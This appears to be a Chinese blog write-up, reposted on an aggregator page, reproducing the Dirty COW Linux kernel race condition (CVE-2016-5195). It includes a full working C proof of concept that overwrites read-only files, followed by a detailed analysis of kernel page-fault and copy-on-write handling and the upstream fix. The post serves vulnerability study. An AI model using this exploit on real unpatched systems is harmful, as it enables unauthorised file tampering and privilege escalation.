CVE-2016-5195 复现记录

文章目录

  • poc
  • 前置知识
    • 页表与缺页异常
    • /proc/self/mem的写入流程
    • madvise
  • 漏洞点
  • 修复

Dirty COW脏牛漏洞是一个非常有名的Linux竞争条件漏洞,虽然早在2016年就已经被修复,但它依然影响着众多古老版本的Linux发行版,如果需要了解Linux的COW,依然非常值得学习。

漏洞:CVE-2016-5195
影响Linux版本:>2.6.22, <4.8.3 / 4.7.9 / 4.4.26
漏洞类型:竞争条件
使用Linux样本:4.8.2

注意:4.8.2版本较低,如果使用较高版本的gcc编译,可能会产生一些难以解决的问题,如一直重启等,这里使用的是Ubuntu 16.04中的gcc完成编译,在22.04的qemu中可以正常运行。如果不想自己编译,笔者也将自己编译的内核、文件系统等必要的文件上传到了网盘以供下载。

poc

poc来源:资料

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>struct stat dst_st, fk_st;
void * map;
char *fake_content;void * madviseThread(void * argv);
void * writeThread(void * argv);int main(int argc, char ** argv)
{if (argc < 3){puts("usage: ./poc destination_file fake_file");return 0;}pthread_t write_thread, madvise_thread;int dst_fd, fk_fd;dst_fd = open(argv[1], O_RDONLY);fk_fd = open(argv[2], O_RDONLY);printf("fd of dst: %d\nfd of fk: %d\n", dst_fd, fk_fd);fstat(dst_fd, &dst_st); // get destination file lengthfstat(fk_fd, &fk_st); // get fake file lengthmap = mmap(NULL, dst_st.st_size, PROT_READ, MAP_PRIVATE, dst_fd, 0);fake_content = malloc(fk_st.st_size);read(fk_fd, fake_content, fk_st.st_size);pthread_create(&madvise_thread, NULL, madviseThread, NULL);pthread_create(&write_thread, NULL, writeThread, NULL);pthread_join(madvise_thread, NULL);pthread_join(write_thread, NULL);return 0;
}void * writeThread(void * argv)
{int mm_fd = open("/proc/self/mem", O_RDWR);printf("fd of mem: %d\n", mm_fd);for (int i = 0; i < 0x100000; i++){lseek(mm_fd, (off_t) map, SEEK_SET);write(mm_fd, fake_content, fk_st.st_size);}return NULL;
}void * madviseThread(void * argv)
{for (int i = 0; i < 0x100000; i++){madvise(map, 0x100, MADV_DONTNEED);}return NULL;
}

简单解释一下,这个程序需要两个参数,第一个参数是需要被修改的只读文件,第二个参数是可读的其他文件。执行后第一个文件中的内容将会被改写为第二个文件的内容。程序会通过mmap系统调用将第一个文件映射到内存空间,随后创建两个线程,一个线程循环通过write打开当前进程的mem虚拟文件对映射的内存进行写操作,一个线程循环调用madvise系统调用提示内核:这块映射的内存空间不再需要。这样,这块映射内存会在某个时刻被内核释放掉。

那么这个漏洞的原理是什么呢?简单看看上面的参考博客,发现要理解起来还是有一定难度的。

前置知识

页表与缺页异常

在操作系统这门课中我们学到,现代操作系统对于内存地址有一定的处理。内存被分为若干页,在进程中被处理的内存页均为虚拟内存页,其地址与物理内存页不同,因此需要有一个物理页和虚拟页的映射表。这个映射表由内存管理单元MMU管理,每一个进程都有一个映射表。

对于现代操作系统,页表一般是多级的,这样做的好处是可以节省内存空间,并降低页表内存空间的连续性。什么意思呢?假如页表只有一级,对于一个64位地址,最低12位作为页内偏移,那么高52位都将作为页表的索引地址。为了效率考虑,MMU只能使用数组进行索引,那么这样的话就会有252个页表项,而其中绝大部分都是空的,会大大浪费内存空间,且这块空间是连续的。而如果使用二级页表,中间12位为二级页表索引,最高40位为一级页表索引,这样理论上只有240个一级页表项,它们连续存储的空间消耗大大小于只使用一级页表的情况(虽然还是很大)。而当一个一级页表对应的地址范围都无效时,内存中完全可以不保存它所对应的二级页表,将二级页表的物理地址设置为0表示无效即可,这样大大节省了空间。否则,一级页表项保存其下的二级页表地址

目前主流x86 Linux系统使用4级(多数)或5级页表,对于4级页表,索引64位虚拟地址空间时,假设最低12位作为页内偏移,每一级页表项负责13位(实际不是这样安排的),即一个一级页表项下面有213个二级页表项,一个二级页表项下面有213个三级页表项,以此类推。那么这样一共就会有213个一级页表。假设一个进程只有一个有效的虚拟内存页,那么四级页表系统只需要保存:213个一级页表项(其中只有有效虚拟内存页对应的一级页表项具有有效的二级页表地址)、213个二级页表项(其中只有有效虚拟内存页对应的二级页表项具有有效的三级页表地址)、213个三级页表项(…)、213个四级页表项(…),共215个页表项,如果一个页表项的大小为0x10字节,那么一共就只有320KB用来保存页表项,对于现在的内存来说完全够用。

由上面的分析可知,映射表中通常只会保存很少的页表项PTE(Page Table Entry),页表的级数越多,映射访问需要访存的次数越多,效率越低。为此,人们为现代OS提供了TLB进行访存提速,它相当于一个能够动态记录页表项且并行查找的硬件,这不是本文的重点,略过。

如果CPU访问了一个虚拟地址,而这个虚拟地址不存在于任何一个PTE中,或者进行的访问操作(读或写)在这个页中没有权限进行,那么MMU会向OS报缺页异常

缺页异常一共分为3类:硬缺页、软缺页以及无效缺页。前两种都是有效的缺页,可以被合理处理;而后面一种是真正的异常,会导致进程立即中止。这三种异常到底什么意思呢?

  • 硬缺页异常:物理内存没有对应的页帧。什么意思?比如你的笔记本内存不够,你设置了磁盘的内存交换,让OS在物理内存不足时将暂时没有使用的内存内容移动到磁盘中,空余出内存存放其他的重要数据。这样,原来的内存数据就暂时不在内存之中,即没有对应的页帧。此类异常的处理通常需要较大开销。(实际上的可能场景有三种,具体内容详见资料,很详细很长但是非常复杂,在此%一下作者,这是真大佬,没见过对内核内存管理理解这么透彻的)
  • 软缺页异常:物理内存有对应页帧。这类大多是发生在写时复制COW时,当父进程fork出一个子进程后,子进程需要对内存空间进行修改,那么OS就需要将父进程的部分内存复制一份,随后将这个新的页填入到子进程页表的对应位置。
  • 无效缺页异常:要访问的虚拟内存地址原本就是无效的,本来就不应该有物理内存映射。此类问题会报段错误并中止进程。

/proc/self/mem的写入流程

(下面的函数名前面加@的带链接可跳转查看)

这是一个/proc目录下的特殊文件,/proc/self表示当前进程,而mem则作为一个虚拟文件,表示当前进程的内存空间。

我们都知道,当用户程序通过open函数打开一个文件时,内核会为用户程序返回一个文件描述符,用户程序后续可通过这个文件描述符整数对文件进行操作。为了将文件操作与不同文件(普通文件、进程文件、设备文件等)解耦合,Linux设计了一个file_operations结构体,对文件描述符进行读、写等操作时,在内核中实际上是在执行file_operations中的读写函数。

而对于/proc目录下表示内存的文件,Linux内核定义了属于这些文件的file_operations

static const struct file_operations proc_mem_operations = {.llseek		= mem_lseek,.read		= mem_read,.write		= mem_write,.open		= mem_open,.release	= mem_release,
};

也即打开/proc/self/mem后,我们调用write函数实际上在内核调用的是mem_write。通过查看源码发现,它实际上调用的是@mem_rw

  • 内核首先会通过__get_free_page获得一个临时的空闲内存页
  • 使用copy_from_user将当前进程的内存数据复制到临时页。
  • 调用access_remote_vm对临时内存进行访问,完成读写操作。

而对于access_remote_vm(全部逻辑在@__access_remote_vm),主要操作包括:

  • 调用down_read为内存上读锁。
  • 进入循环:
    • 调用get_user_pages_remote函数,获取要读或写的内存页的物理地址。
    • 如果内存页获取失败,进行其他处理。
    • 内存页获取成功后,每一次以一页为单位进行读或写操作,首先计算要操作的内存大小,随后调用kmap将要操作的内存映射到一个内核内存页中。
    • 如果操作为写,则调用copy_to_user_page向映射的内存页写入数据,并设置内存页为脏页(set_page_dirty_lock
    • 调用kunmap解除映射,并删除cache中的对应项。
  • 调用up_read为内存解锁读锁。

那么这里面的重点就在于get_user_pages_remote,它是如何获取物理地址的。调用链为:

get_user_pages_remote__get_user_pages_locked__get_user_pages

主要逻辑都在后面两个函数中。首先看到@__get_user_pages_locked。这个函数中有一个大循环,其中调用了两次@__get_user_pages,这个函数内部的逻辑大概为:

  • 定义一个vm_area_struct实例vma初始化为空。vma表示虚拟内存区域,通常与一页或多页相关联。
  • 一个大循环。
    • 如果vma为空或要获取的地址超过了vma的范围:
      • 调用find_extend_vma函数获取vma
      • 进行其他的处理,完成后返回或继续进行下一页处理。
    • 调用follow_page_mask获取给定虚拟地址对应的物理页。
    • 如果没有获取到,可能原因是对应物理页不存在或没有写权限:
      • 调用faultin_page进行缺页异常处理。
      • 如果处理成功则重试,跳转到调用follow_page_mask之前;否则返回或处理下一页。
    • 否则如果页表不存在,则处理下一页。
    • 否则如果返回错误值,立即返回。
    • 进行页面的其他处理,刷新计数器。

下面看到@faultin_page。这个函数里涉及大量针对flags参数的判断与修改,根据源码分析发现,传入这个函数的flags参数为FOLL_TOUCH | FOLL_REMOTE | FOLL_GET | FOLL_WRITE | FOLL_FORCE

  • 进行一系列判断与变量修改。
  • 调用handle_mm_fault处理缺页异常,分配有效物理内存页。
  • 根据handle_mm_fault函数返回值进行其他处理。
  • 如果需要写且有写权限,则去除flags中的FOLL_WRITE标志位。

在@handle_mm_fault中,首先检查虚拟内存的权限,如果发现虚拟内存无效会给出SIGSEGV信号并返回。主要逻辑在@__handle_mm_fault中。

__handle_mm_fault中,将会从一级页表PGD依次向下获取页目录,若分配失败,表示内存不足,会返回VM_FAULT_OOM。中间经过一系列处理后调用@handle_pte_fault继续进行处理。

handle_pte_fault中,由于上一级函数已经创建PMD三级页目录项,因此会进入第一个if语句将fe->pte设置为空,由此进入第二个if语句。根据代码分析可知,目前分析的调用链所处理的vma不是匿名vma,因此会调用@do_fault处理后直接返回,下面的代码不会执行。

do_fault中,由于我们处理的是写的异常,因此会跳过前两个判断,进入第三个if语句调用@do_cow_fault,即处理写时复制所导致的缺页异常。

do_cow_fault中:

  • 调用了alloc_page_vma函数分配一个新的内存页。
  • 调用__do_fault处理异常。
  • 调用alloc_set_pte函数将新分配的内存页更新到PTE中。

到这里,__get_user_pages函数就成功调入了这个内存页,并将其地址存放到了页表项中。随后会通过goto retry再一次调用follow_page_mask。在第二次调用中,由于内核能够找到相应的页表项,因此在handle_pte_fault中会执行后面的代码。后面由于需要进行写操作,因此会调用pte_write函数判断页面是否可写,这里显然是不可写。这样就会调用@do_wp_page并返回。

do_wp_page中,由于页面本身不可写,因此不能对页面进行共享,而是只能进行复制(使用wp_page_copy),而复制后的内存页只属于需要进行COW的进程,因此faultin_page会给予写权限,本次调用成功返回。随后follow_page_mask第三次来到retry标号处,随后就可以使用follow_page_mask成功获取一个符合权限的存在的内存页,COW流程结束。

madvise

madvise的一种易懂的理解是,我们用户给内核有关于某一段内存的使用建议,告诉内核应该如何使用某一段内存。建议分为多种,下面是Linux源码中的注释:

/** The madvise(2) system call.** Applications can use madvise() to advise the kernel how it should* handle paging I/O in this VM area.  The idea is to help the kernel* use appropriate read-ahead and caching techniques.  The information* provided is advisory only, and can be safely disregarded by the* kernel without affecting the correct operation of the application.** behavior values:*  ...*  MADV_DONTNEED - the application is finished with the given range,*		so the kernel can free resources associated with it.*  ...*/

这里我们只关注MADV_DONTNEED这个选项,它表示应用程序已经不再需要这段内存,可以让内核调出这些内存页。注意调出不是释放,而是暂时不用。

漏洞点

上面的分析中,尤其是COW的流程难以理解,需要细细咀嚼。

而这个著名CVE到底是如何产生的呢?

需要注意的是,我们进行映射的那个文件原本是不可写的,打开的时候也没有尝试获取写权限,但问题是,我们可以直接访问当前进程的内存空间虚拟文件/proc/self/mem,而这个文件是具有写权限的。

这就造成了一个问题:我通过打开这个虚拟文件对那块不可写的内存空间强行写入会怎样?这个问题我们在上面的分析中已经得到了答案——内核会通过COW机制让本次写操作写入的是那块映射内存空间的复制页,如果我们不同时使用madvise竞争,写入操作不会直接对映射内存写入。这样即满足了映射空间不可写的权限,也满足了写入的要求。

但现在,我们使用了madvise系统调用。如果我们在第二次调用follow_page_mask之后让madvise将本来分配到的内存页又给调出去了,这样的话第三次调用follow_page_mask就不能正常获取内存页,但此时保存页面权限的变量foll_flags已经添加了可写权限。因此follow_page_mask第三次调用会将原来的文件的只读映射副本重新调入(因为此时foll_flags已经添加了写权限,内核误以为原本映射的内存页可写),这就造成了条件竞争漏洞,最终在第四次调用follow_page_mask时获取到原来的只读副本并且能够成功写入。

修复

经过了一番分析之后,我们总算是理解了这个著名漏洞的成因,即权限变量与内存页分离不同时存在导致可能产生条件竞争。那么要想修复这个问题,最为简单的方法就是将二者进行绑定,不使用临时变量判断页面的权限,而是直接将页面权限字段加入到内存页实例中,这样,即使madvise成功调出了原先只读的物理页,follow_page_mask获取到的也依然是只读的物理页。

从ChangeLog可知,Linus Torvalds解决这个问题的方式比上面的方式更简单,他添加了一个FOLL_COW常量,专门用来处理COW流程,当要写入的内存页成功申请后,为变量添加FOLL_COW而不是FOLL_WRITE,将二者区分开来,这样不必修改表示内存页的结构体本身。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/716805.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis7 实现持久化的三种方式

1、概述 1.1、Redis持久化的重要性 数据恢复&#xff1a;Redis是一个内存数据库&#xff0c;如果系统或服务宕机&#xff0c;内存中的数据将会丢失。Redis的持久化机制可以把数据保存到磁盘上&#xff0c;以便在系统重启后恢复数据。这是Redis持久化最基本也是最重要的功能。…

JCL中IEFBR14和COND

JCL中IEFBR14和COND ​ COND CODE&#xff0c;就是反映JCL中STEP运行状态的参数&#xff0c;JCL正常终了的COND CODE 是0000&#xff0c;另外笔者在执行某些工具JCL时候&#xff0c;比方说简单一个COMPARE吧&#xff0c;可能会出现0012、0004或者0016&#xff0c;0001&#xf…

数据结构:栈和队列的实现附上源代码(C语言版)

目录 前言 1.栈 1.1 栈的概念及结构 1.2 栈的底层数据结构选择 1.2 数据结构设计代码&#xff08;栈的实现&#xff09; 1.3 接口函数实现代码 &#xff08;1&#xff09;初始化栈 &#xff08;2&#xff09;销毁栈 &#xff08;3&#xff09;压栈 &#xff08;4&…

金三银四求职攻略:如何在面试中脱颖而出

随着春天的脚步渐近&#xff0c;对于众多程序员来说&#xff0c;一年中最繁忙、最重要的时期也随之而来。金三银四&#xff0c;即三月和四月&#xff0c;被广大程序员视为求职的黄金时段。在这段时间里&#xff0c;各大公司纷纷开放招聘&#xff0c;求职者们则通过一场又一场的…

初阶数据结构之---栈和队列(C语言)

引言 在顺序表和链表那篇博客中提到过&#xff0c;栈和队列也属于线性表 线性表&#xff1a; 线性表&#xff08;linear list&#xff09;是n个具有相同特性的数据元素的有限序列。 线性表是一种在实际中广泛使用的数据结构。线性表在逻辑上是线性结构&#xff0c;也就是说是连…

xxl-job--02--可视化界面各功能详细介绍

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 可视化界面1 新增执行器2.新增任务**执行器**&#xff1a;**任务描述**&#xff1a;**路由策略**&#xff1a;**Cron**&#xff1a;cron表达式**运行模式**JobHandl…

java Springboot vue 健身房系统,简单练手项目

该项目主要分为管理员和会员模块 管理员具有&#xff1a;会员管理&#xff0c;器材管理,员工管理&#xff0c;健身课程管理 会员模块&#xff0c;可以在线报名健身课程&#xff0c;查看自己课程 采用VUE前端开发和springboot后端开发&#xff0c;极简代码编写&#xff0c;没…

ubuntu20.04安装docker及运行

ubuntu20.04安装docker及运行 ubuntu环境版本 Ubuntu Focal 20.04 (LTS) 查看系统版本 rootubuntu20043:~# cat /proc/version Linux version 5.15.0-78-generic (builddlcy02-amd64-008) (gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, GNU ld (GNU Binutils for Ubuntu) …

Vue(黑马学习笔记)

Vue概述 通过我们学习的htmlcssjs已经能够开发美观的页面了&#xff0c;但是开发的效率还有待提高&#xff0c;那么如何提高呢&#xff1f;我们先来分析下页面的组成。一个完整的html页面包括了视图和数据&#xff0c;数据是通过请求从后台获取的那么意味着我们需要将后台获取…

通过XML调用CAPL脚本进行测试(新手向)

目录 0 引言 1 XML简介 2 通过XML调用CAPL脚本 0 引言 纪念一下今天这个特殊日子&#xff0c;四年出现一次的29号。 在CANoe中做自动化测试常用的编程方法有CAPL和XML两种&#xff0c;二者各有各的特色&#xff0c;对于CAPL来说新手肯定是更熟悉一些&#xff0c;因为说到在C…

Vue开发实例(五)修改项目入口页面布局

修改项目入口 一、创建新入口二、分析代码&#xff0c;修改入口三、搭建项目主页面布局1、Container 布局容器介绍2、创建布局3、布局器铺满屏幕4、创建Header页面5、加入Aside、Main和Footer模块 一、创建新入口 创建新的入口&#xff0c;取消原来的HelloWorld入口 参考代码…

剑指offer刷题记录Day2 07.数组中重复的数字 ---> 11.旋转数组的最小数字

名人说&#xff1a;莫道桑榆晚&#xff0c;为霞尚满天。——刘禹锡&#xff08;刘梦得&#xff0c;诗豪&#xff09; 创作者&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 目录 1、重建二叉树①代码实现&#xff08;带注释&am…

【重温设计模式】职责链模式及其Java示例

职责链模式的介绍 在开发过程中&#xff0c;我们经常会遇到这样的问题&#xff1a;一个请求需要经过多个对象的处理&#xff0c;但是我们并不知道具体由哪个对象来处理&#xff0c;或者说&#xff0c;我们希望由接收到请求的对象自己去决定如何处理或者是将请求传递给下一个对…

【深度学习笔记】计算机视觉——锚框

锚框 目标检测算法通常会在输入图像中采样大量的区域&#xff0c;然后判断这些区域中是否包含我们感兴趣的目标&#xff0c;并调整区域边界从而更准确地预测目标的真实边界框&#xff08;ground-truth bounding box&#xff09;。 不同的模型使用的区域采样方法可能不同。 这里…

吴恩达deeplearning.ai:正则化对于偏方差的影响制定用于性能评估的基准

以下内容有任何不理解可以翻看我之前的博客哦&#xff1a;吴恩达deeplearning.ai专栏 这节我们看看正则化系数 文章目录 以线性回归为例交叉验证误差对于确定 λ \lambda λ的作用 指定用于性能评估的基准语音识别的例子 以线性回归为例 让我们举一个例子&#xff1a; 模型&am…

Outlook邮箱IMAP密码怎么填写?账户设置?

Outlook邮箱IMAP密码是什么&#xff1f;Outlook如何设置IMAP&#xff1f; 许多用户会选择通过IMAP协议将邮箱与各种邮件客户端进行连接。而在设置过程中&#xff0c;填写IMAP密码是必不可少的一步。那么&#xff0c;Outlook邮箱的IMAP密码应该如何填写呢&#xff1f;接下来&am…

【Linux】深入理解ls命令

&#x1f34e;个人博客&#xff1a;个人主页 &#x1f3c6;个人专栏&#xff1a;Linux ⛳️ 功不唐捐&#xff0c;玉汝于成 目录 前言 正文 基本用法 常用选项 示例 高级用法 结语 我的其他博客 前言 在 Linux 系统中&#xff0c;ls 命令是一个强大而又基础的工具&am…

高刷显示器 - HKC VG253KM

&#x1f525;&#x1f525; 今天来给大家揭秘一款电竞神器 - HKC VG253KM 高刷电竞显示器&#xff01;这款显示器可是有着雄鹰展翅般的设计灵感&#xff0c;背后的大鹏展翅鹰翼图腾让人过目难忘。那么&#xff0c;这款显示器到底有哪些过人之处呢&#xff1f;一起来看看吧&…

【MySQL】基于Docker搭建MySQL一主二从集群

本文记录了搭建mysql一主二从集群&#xff0c;这样的一个集群master为可读写&#xff0c;slave为只读。过程中使用了docker&#xff0c;便于快速搭建单体mysql。 1&#xff0c;准备docker docker的安装可以参考之前基于yum安装docker的文章[1]。 容器相关命令[2]。 查看正在…

Pod和容器设计模式

为什么需要 Pod&#xff1b; Pod 的实现机制&#xff1b; 详解容器设计模式。 一、为什么需要 Pod 容器的基本概念 现在来看第一个问题&#xff1a;为什么需要 Pod&#xff1f;我们知道 Pod 是 Kubernetes 项目里面一个非常重要的概念&#xff0c;也是非常重要的一个原子调…